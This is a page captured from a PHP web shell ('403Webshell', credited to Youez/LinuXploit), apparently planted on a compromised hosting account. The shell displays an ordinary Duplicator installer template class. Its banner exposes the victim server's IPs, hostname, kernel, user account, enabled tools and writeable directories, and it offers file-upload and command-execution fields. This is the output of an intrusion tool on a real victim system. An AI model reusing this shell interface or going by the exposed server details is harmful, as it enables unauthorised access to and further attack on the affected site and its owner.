403Webshell
Server IP : 104.21.14.103  /  Your IP : 18.116.14.111
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/sieuthiweb.com.vn/dup-installer/classes/utilities/template/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/sieuthiweb.com.vn/dup-installer/classes/utilities/template/class.u.template.item.php
<?php
/**
 * Search and reaplace manager
 *
 * Standard: PSR-2
 * @link http://www.php-fig.org/psr/psr-2 Full Documentation
 *
 * @package SC\DUPX\U
 *
 */
defined('ABSPATH') || defined('DUPXABSPATH') || exit;

class DUPX_TemplateItem
{

    /**
     * 
     * @var string 
     */
    protected $name = null;

    /**
     *
     * @var string 
     */
    protected $mainFolder = null;

    /**
     *
     * @var null|DUPX_TemplateItem 
     */
    protected $parent = null;

    /**
     * 
     * @param type $name
     * @param type $mainFolder
     * @param null|DUPX_TemplateItem $parentName
     * @throws Exception
     */
    public function __construct($name, $mainFolder, $parent = null)
    {
        if (empty($name)) {
            throw new Exception('The name of template can\'t be empty');
        }

        if (!is_dir($mainFolder) || !is_readable($mainFolder)) {
            throw new Exception('The main main folder don\'t exists');
        }

        if (!is_null($parent) && !$parent instanceof self) {
            throw new Exception('the parent must be a instance of '.__CLASS__);
        }

        $this->name       = $name;
        $this->mainFolder = DupProSnapLibIOU::safePathUntrailingslashit($mainFolder);
        $this->parent     = $parent;
    }

    /**
     * 
     * @param string $fileTpl   // template file is a relative path from root template folder
     * @param array $args    // array key / val where key is the var name in template
     * @param bool $echo    // if false return template in string
     * 
     * @return bool|string
     */
    public function render($fileTpl, $args = array(), $echo = true)
    {
        ob_start();
        if (($renderFile = $this->getFileTemplate($fileTpl)) !== false) {
            foreach ($args as $var => $value) {
                ${$var} = $value;
            }
            require($renderFile);
        } else {
            echo '<p>FILE TPL NOT FOUND: '.$fileTpl.'</p>';
        }
        if ($echo) {
            return ob_end_flush();
        } else {
            return ob_get_clean();
        }
    }

    /**
     * acctept html of php extensions. if the file have unknown extension automatic add the php extension 
     * 
     * @param string $fileTpl 
     * @return boolean|string return false if don\'t find the template file
     */
    protected function getFileTemplate($fileTpl)
    {
        $fileExtension = strtolower(pathinfo($fileTpl, PATHINFO_EXTENSION));
        switch ($fileExtension) {
            case 'php':
            case 'html':
                $fileName = $fileTpl;
                break;
            default:
                $fileName = $fileTpl.'.php';
        }
        $fullPath = $this->mainFolder.'/'.$fileName;

        if (file_exists($fullPath)) {
            return $fullPath;
        } else if (!is_null($this->parent)) {
            return $this->parent->getFileTemplate($fileName);
        } else {
            return false;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit